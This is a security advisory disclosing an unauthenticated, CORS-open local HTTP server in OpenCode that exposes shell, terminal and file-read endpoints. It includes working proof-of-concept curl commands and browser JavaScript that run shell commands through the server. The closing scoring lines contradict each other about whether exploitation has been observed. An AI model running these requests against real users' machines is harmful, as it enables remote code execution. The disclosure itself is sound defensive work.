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GHSA-vxw4-wv6m-9hhh
No affected components available
Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.
Summary
OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.
Details
When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:
POST /session/:id/shell- Execute shell commands (server.ts:1401)POST /pty- Create interactive terminal sessions (server.ts:267)GET /file/content?path=- Read arbitrary files (server.ts:1868)
The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().
No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.
PoC
Local exploitation:
API="http://127.0.0.1:4096" # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
-d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt # outputs: PWNED
Browser-based exploitation:
A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.
// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
})
.then(r => r.json())
.then(session => {
fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
});
});
Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.
Impact
Remote Code Execution via two vectors:
-
Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.
-
Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.
With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.
Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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